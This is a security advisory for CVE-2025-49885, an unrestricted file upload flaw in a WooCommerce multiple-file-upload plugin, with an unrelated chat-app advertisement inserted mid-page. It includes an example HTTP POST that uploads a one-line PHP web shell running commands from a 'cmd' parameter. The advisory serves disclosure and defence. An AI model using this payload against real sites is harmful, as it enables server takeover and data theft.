Overview
CVE-2025-49885 is a critical vulnerability that affects the HaruTheme Drag and Drop Multiple File Upload (Pro) – WooCommerce plugin. This vulnerability allows an attacker to upload a malicious web shell to a web server, potentially leading to system compromise or data leakage. Given the popularity of WooCommerce and the widespread use of file upload plugins, the impact of this vulnerability could be significant. It is critical for administrators and developers using this plugin to understand the severity of this vulnerability and take immediate steps to mitigate its risks.
Vulnerability Summary
CVE ID: CVE-2025-49885
Severity: Critical (CVSS 10.0)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise, potential data leakage
Affected Products
Escape the Surveillance Era
Most apps won’t tell you the truth.
They’re part of the problem.
Phone numbers. Emails. Profiles. Logs.
It’s all fuel for surveillance.
Ameeba Chat gives you a way out.
- • No phone number
- • No email
- • No personal info
- • Anonymous aliases
- • End-to-end encrypted
Chat without a trace.
Product | Affected Versions
HaruTheme Drag and Drop Multiple File Upload (Pro) – WooCommerce | n/a through 5.0.6
How the Exploit Works
This vulnerability exists due to insufficient restrictions on file uploads within the HaruTheme Drag and Drop Multiple File Upload (Pro) – WooCommerce plugin. An attacker can exploit this flaw by uploading a web shell – a script that enables remote administration – onto the web server. Once uploaded, the attacker can execute arbitrary commands on the server, potentially leading to full system compromise.
Conceptual Example Code
Below is a conceptual example of how an attacker might exploit this vulnerability, using a POST request to upload a malicious web shell to the vulnerable endpoint.
POST /upload_file HTTP/1.1
Host: target.example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: application/x-php
<?php system($_GET['cmd']); ?>
------WebKitFormBoundary7MA4YWxkTrZu0gW--In the above example, `shell.php` is a simple web shell that executes commands passed to it via the `cmd` GET parameter. An attacker could use a similar method to upload a far more sophisticated web shell, potentially leading to a full system compromise.